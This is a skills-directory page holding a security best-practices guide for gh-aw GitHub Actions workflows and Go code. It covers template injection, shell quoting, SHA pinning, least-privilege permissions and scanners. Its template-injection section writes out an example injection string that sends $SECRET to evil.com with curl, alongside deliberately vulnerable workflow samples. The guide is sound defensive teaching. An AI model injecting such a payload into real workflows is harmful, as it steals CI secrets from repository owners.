github/developer-security
Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration.
npx skills add https://github.com/github/gh-aw --skill developer-security
Use this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code.
Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.
GitHub Actions expressions (${{ }}) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.
# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
issues:
types: [opened]
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Echo issue title
run: echo "${{ github.event.issue.title }}"
Why vulnerable: Issue title is directly interpolated. An attacker can inject: "; curl evil.com/?secret=$SECRET; echo "
# SECURE: Use environment variables
name: Process Issue
on:
issues:
types: [opened]
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Echo issue title
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "$ISSUE_TITLE"
Why secure: Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.
graph TB
subgraph "Unsafe Pattern"
A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
B1 --> C1[Direct Interpolation<br/>into Shell Command]
C1 --> D1[Code Execution Risk]
style D1 fill:#f88,stroke:#f00
end
subgraph "Safe Pattern"
A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
B2 --> C2[Environment Variable<br/>Assignment]
C2 --> D2[Shell Receives<br/>Data Only]
D2 --> E2[No Code Execution]
style E2 fill:#8f8,stroke:#0f0
end
Template injection vulnerabilities were identified and fixed in:
copilot-session-insights.md - Step output passed through environment variableSee scratchpad/template-injection-prevention.md for detailed analysis and fix documentation.
# SECURE: Use sanitized context output
Analyze this content: "${{ steps.sanitized.outputs.text }}"
The steps.sanitized.outputs.text output is automatically sanitized:
Always safe to use in expressions:
github.actorgithub.repositorygithub.run_idgithub.run_numbergithub.shaNever safe in expressions without environment variable indirection:
github.event.issue.titlegithub.event.issue.bodygithub.event.comment.bodygithub.event.pull_request.titlegithub.event.pull_request.bodygithub.head_ref (can be controlled by PR authors)When Go code generates GitHub Actions if: expressions, nested event fields must be guarded by trigger checks across all declared workflow triggers.
GitHub Actions expression evaluation can fail before any jobs run when an expression accesses an object graph that does not exist for the active trigger (for example github.event.pull_request.* on push, workflow_dispatch, or schedule).
// VULNERABLE: pull_request-only fields referenced unconditionally
condition := fmt.Sprintf(
"github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
minPos,
maxPos,
)
Why vulnerable: On non-PR triggers, github.event.pull_request is absent. Property access or arithmetic on absent nested fields can cause expression evaluation failure (startup_failure) before workflow error handling can run.
// SECURE: gate nested pull_request fields behind explicit trigger and null checks
condition := fmt.Sprintf(
"github.event_name == 'pull_request' && github.event.pull_request != null && github.event.pull_request.stack != null && github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
minPos,
maxPos,
)
github.event.pull_request.*, github.event.issue.*, etc.) with github.event_name checks.A && B && C) where early terms validate event type/object existence before nested access.pkg/workflow/*filter*.go (or equivalent) that assert safe conditions for mixed-trigger workflows.Insecure:
steps:
- name: Process files
run: |
FILES=$(ls *.txt)
for file in $FILES; do
echo $file
done
Why vulnerable: Variables can be split on whitespace, glob patterns are expanded, potential command injection.
Secure:
steps:
- name: Process files
run: |
while IFS= read -r file; do
echo "$file"
done < <(find . -name "*.txt")
"$VAR"[[ ]] instead of [ ] for conditionals$() instead of backticks for command substitutionset -euo pipefailExample secure script:
steps:
- name: Secure script
env:
INPUT_VALUE: ${{ github.event.inputs.value }}
run: |
set -euo pipefail
if [[ ! "$INPUT_VALUE" =~ ^[a-zA-Z0-9_-]+$ ]]; then
echo "Invalid input format"
exit 1
fi
echo "Processing: $INPUT_VALUE"
result=$(grep -r "$INPUT_VALUE" . || true)
echo "$result"
Supply chain attacks target dependencies in CI/CD pipelines.
Insecure:
steps:
- uses: actions/checkout@v5 # Tag can be moved
- uses: actions/setup-node@main # Branch can be updated
Why vulnerable: Tags can be deleted and recreated, branches can be force-pushed, repository ownership can change.
Secure:
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
Why secure: SHA commits are immutable. Comments indicate human-readable version for updates.
# Get SHA for a specific tag
git ls-remote https://github.com/actions/checkout v4.1.1
# Or use GitHub API
curl -s https://api.github.com/repos/actions/checkout/git/refs/tags/v4.1.1
Insecure:
name: CI
on: [push]
permissions: write-all
Secure:
name: CI
on: [push]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@sha
- run: npm test
name: CI/CD
on: [push]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@sha
- run: npm test
deploy:
needs: test
runs-on: ubuntu-latest
permissions:
contents: read
deployments: write
steps:
- uses: actions/checkout@sha
- run: npm run deploy
| Permission | Read | Write | Use Case |
|------------|------|-------|----------|
| contents | Read code | Push code | Repository access |
| issues | Read issues | Create/edit issues | Issue management |
| pull-requests | Read PRs | Create/edit PRs | PR management |
| actions | Read runs | Cancel runs | Workflow management |
| checks | Read checks | Create checks | Status checks |
| deployments | Read deployments | Create deployments | Deployment management |
Integrate static analysis tools into development and CI/CD workflows:
# Run individual scanners
actionlint .github/workflows/*.yml
zizmor .github/workflows/
poutine analyze .github/workflows/
# For gh-aw workflows
gh aw compile --actionlint
gh aw compile --zizmor
gh aw compile --poutine
# Strict mode: fail on findings
gh aw compile --strict --actionlint --zizmor --poutine
${{ }} expressionssteps.sanitized.outputs.text)"$VAR"set -euo pipefailwrite-all permissionsTake github/developer-security from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.